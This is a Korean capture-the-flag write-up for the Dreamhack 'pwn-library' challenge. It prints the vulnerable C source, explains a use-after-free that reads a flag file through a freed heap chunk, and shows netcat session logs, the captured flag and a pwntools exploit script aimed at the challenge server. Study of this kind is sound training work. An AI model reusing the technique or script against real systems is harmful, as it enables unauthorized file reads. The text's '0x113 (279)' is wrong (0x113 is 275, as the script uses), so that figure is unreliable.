[dreamhack] pwn-library writeup

1. 문제

thumbnail
pwn-library

드림이가 오랜만에 도서관에 왔습니다! 원하는 책을 읽어볼까요?
플래그는 /home/pwnlibrary/flag.txt에 있습니다.

https://dreamhack.io/wargame/challenges/118

2. 풀이

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct bookstruct{
	char bookname[0x20];
	char* contents;
};

__uint32_t booksize;
struct bookstruct listbook[0x50];
struct bookstruct secretbook;

void booklist(){
	printf("1. theori theory\n");
	printf("2. dreamhack theory\n");
	printf("3. einstein theory\n");
}

int borrow_book(){
	if(booksize >= 0x50){
		printf("[*] book storage is full!\n");
		return 1;
	}
	__uint32_t select = 0;
	printf("[*] Welcome to borrow book menu!\n");
	booklist();
	printf("[+] what book do you want to borrow? : ");
	scanf("%u", &select);
	if(select == 1){
		strcpy(listbook[booksize].bookname, "theori theory");
		listbook[booksize].contents = (char *)malloc(0x100);
		memset(listbook[booksize].contents, 0x0, 0x100);
		strcpy(listbook[booksize].contents, "theori is theori!");
	} else if(select == 2){
		strcpy(listbook[booksize].bookname, "dreamhack theory");
		listbook[booksize].contents = (char *)malloc(0x200);
		memset(listbook[booksize].contents, 0x0, 0x200);
		strcpy(listbook[booksize].contents, "dreamhack is dreamhack!");
	} else if(select == 3){
		strcpy(listbook[booksize].bookname, "einstein theory");
		listbook[booksize].contents = (char *)malloc(0x300);
		memset(listbook[booksize].contents, 0x0, 0x300);
		strcpy(listbook[booksize].contents, "einstein is einstein!");

	} else{
		printf("[*] no book...\n");
		return 1;
	}
	printf("book create complete!\n");
	booksize++;
	return 0;
}

int read_book(){
	__uint32_t select = 0;
	printf("[*] Welcome to read book menu!\n");
	if(!booksize){
		printf("[*] no book here..\n");
		return 0;
	}
	for(__uint32_t i = 0; i<booksize; i++){
		printf("%u : %s\n", i, listbook[i].bookname);
	}
	printf("[+] what book do you want to read? : ");
	scanf("%u", &select);
	if(select > booksize-1){
		printf("[*] no more book!\n");
		return 1;
	}
	printf("[*] book contents below [*]\n");
	printf("%s\n\n", listbook[select].contents);
	return 0;
}

int return_book(){
	printf("[*] Welcome to return book menu!\n");
	if(!booksize){
		printf("[*] no book here..\n");
		return 1;
	}
	if(!strcmp(listbook[booksize-1].bookname, "-----returned-----")){
		printf("[*] you alreay returns last book!\n");
		return 1;
	}
	free(listbook[booksize-1].contents);
	memset(listbook[booksize-1].bookname, 0, 0x20);
	strcpy(listbook[booksize-1].bookname, "-----returned-----");
	printf("[*] lastest book returned!\n");
	return 0;
}

int steal_book(){
	FILE *fp = 0;
	__uint32_t filesize = 0;
	__uint32_t pages = 0;
	char buf[0x100] = {0, };
	printf("[*] Welcome to steal book menu!\n");
	printf("[!] caution. it is illegal!\n");
	printf("[+] whatever, where is the book? : ");
	scanf("%144s", buf);
	fp = fopen(buf, "r");
	if(!fp){
		printf("[*] we can not find a book...\n");
		return 1;
	} else {
		fseek(fp, 0, SEEK_END);
    	filesize = ftell(fp);
    	fseek(fp, 0, SEEK_SET);
		printf("[*] how many pages?(MAX 400) : ");
		scanf("%u", &pages);
		if(pages > 0x190){
			printf("[*] it is heavy!!\n");
			return 1;
		}
		if(filesize > pages){
			filesize = pages;
		}
		secretbook.contents = (char *)malloc(pages);
		memset(secretbook.contents, 0x0, pages);
		__uint32_t result = fread(secretbook.contents, 1, filesize, fp);

		if(result != filesize){
			printf("[*] result : %u\n", result);
			printf("[*] it is locked..\n");
			return 1;
		}
		
		memset(secretbook.bookname, 0, 0x20);
		strcpy(secretbook.bookname, "STOLEN BOOK");
		printf("\n[*] (Siren rangs) (Siren rangs)\n");
		printf("[*] Oops.. cops take your book..\n");
		fclose(fp);
		return 0;
	}

}


void menuprint(){
	printf("1. borrow book\n");
	printf("2. read book\n");
	printf("3. return book\n");
	printf("4. exit library\n");
}
void main(){
	__uint32_t select = 0;
	printf("\n[*] Welcome to library!\n");
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	while(1){
		menuprint();
		printf("[+] Select menu : ");
		scanf("%u", &select);
		switch(select){
			case 1:
				borrow_book();
				break;
			case 2:
				read_book();
				break;
			case 3:
				return_book();
				break;
			case 4:
				printf("Good Bye!");
				exit(0);
				break;
			case 0x113:
				steal_book();
				break;
			default:
				printf("Wrong menu...\n");
				break;
		}
	}
}

코드가 진짜 길다 그치만 크게 borrow_book함수를 통해 빌리고, read_book함수를 통해 빌린 책을 읽고, return_book함수를 통해 반납하고, stea_book으로 원하는 파일을 읽을 수 있다는 점만 알면 된다.


다시 힙 관련 문제이다. malloc함수와 free함수가 있는 것으로 봐서 아마 UAF (Use After Free) 취약점을 이용한 문제인 듯하다. booklist에는 3권의 책밖에 없지만, 시크릿 case 번호인 0x113 (279)select에 넣으면 steal_book함수를 실행시킬 수 있다. 그리고 /home/pwnlibrary/flag.txt 위치에 플래그가 있다고 했으므로 이 파일을 읽기로 입력하고 얼마나 읽을지 size를 정해주는 것이 관건이 되겠다.

UAF 취약점은 heap chunkmalloc 등을 통해 할당하고 free한 후에, 할당했던 chunk의 크기와 같은 크기의 새로운 chunk를 할당할 경우 이전에 할당했던 chunk를 그대로 사용하는 취약점이다. 취약점이라기보다 리눅스에서는 이미 해당 크기로된 힙이 있으니까 그걸 먼저 활용하는 First-fit 전략을 사용하기 때문이다.

이 문제에서는 borrow_book함수를 통해 책을 한권 빌린 후 return_book함수로 반납했을 때, steal_book을 통해 파일을 읽어서 같은 크기만큼 할당하게되면 이전에 빌린 책이 할당되었던 주소로 덮이게 되고, 이를 read_book함수로 읽으면 될 것이다.

borrow_book함수를 보면 1번 책을 빌릴 때 0x100 바이트만큼 할당해주고, 2번책은 0x200바이트, 3번책은 0x300바이트를 할당한다. 그런데 steal_book함수에서는 최대 0x190바이트만 할당이 가능하므로 1번 책만 활용해서 빌리고, 반납하고, steal_book으로 덮고 읽는 절차를 수행하면 된다.

먼저 1번 책을 빌리고 읽어보자.

ubuntu@instance-20250406-1126:~/dreamhack/level1/pwn-library$ nc host3.dreamhack.games 19391

[*] Welcome to library!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 1
[*] Welcome to borrow book menu!
1. theori theory
2. dreamhack theory
3. einstein theory
[+] what book do you want to borrow? : 1
book create complete!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 2
[*] Welcome to read book menu!
0 : theori theory
[+] what book do you want to read? : 0
[*] book contents below [*]
theori is theori!

이후 해당 책을 반납하고 읽으려고하면 아래와 같은 결과를 볼 수 있다.

[+] Select menu : 2
[*] Welcome to read book menu!
0 : theori theory
[+] what book do you want to read? : 0
[*] book contents below [*]
theori is theori!

1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 3
[*] Welcome to return book menu!
[*] lastest book returned!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 2
[*] Welcome to read book menu!
0 : -----returned-----
[+] what book do you want to read? : 0
[*] book contents below [*]


이제 steal_book을 통해 동일한 위치에 힙을 재할당한 후 read_book함수를 실행시켜보자.

1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 275
[*] Welcome to steal book menu!
[!] caution. it is illegal!
[+] whatever, where is the book? : /home/pwnlibrary/flag.txt
[*] how many pages?(MAX 400) : 256

[*] (Siren rangs) (Siren rangs)
[*] Oops.. cops take your book..
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 2
[*] Welcome to read book menu!
0 : -----returned-----
[+] what book do you want to read? : 

이전과 동일하게 -----returned-----만 보이고 변화가 없는 것 같다. 그러나 이 0번을 읽겠다고 하면 아래와 같이 플래그를 볼 수 있다.

1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 2
[*] Welcome to read book menu!
0 : -----returned-----
[+] what book do you want to read? : 0
[*] book contents below [*]
DH{0fdbcef449355e5fb15f4a674724a3c8}

exploit 작성을 연습할 겸 작성한 결과이다.

from pwn import *

#p = process("./library")
p = remote("host3.dreamhack.games", 19391)

# initial borrow
p.recvuntil("Select menu : ")
p.sendline(b'1')
p.recvuntil("what book do you want to borrow? : ")
p.sendline(b'1')

# return book
p.recvuntil("Select menu : ")
p.sendline(b'3')

# steal book
p.recvuntil("Select menu : ")
p.sendline(b'275') # 0x113 steal book
p.recvuntil("whatever, where is the book? : ")
p.sendline(b"/home/pwnlibrary/flag.txt")
p.recvuntil("how many pages?(MAX 400) : ")
p.sendline(b"256")

# read book
p.recvuntil("Select menu : ")
p.sendline(b'2')
p.recvuntil("what book do you want to read? : ")
p.sendline(b'0')
print(p.recv(1024))
print(p.recv(1024))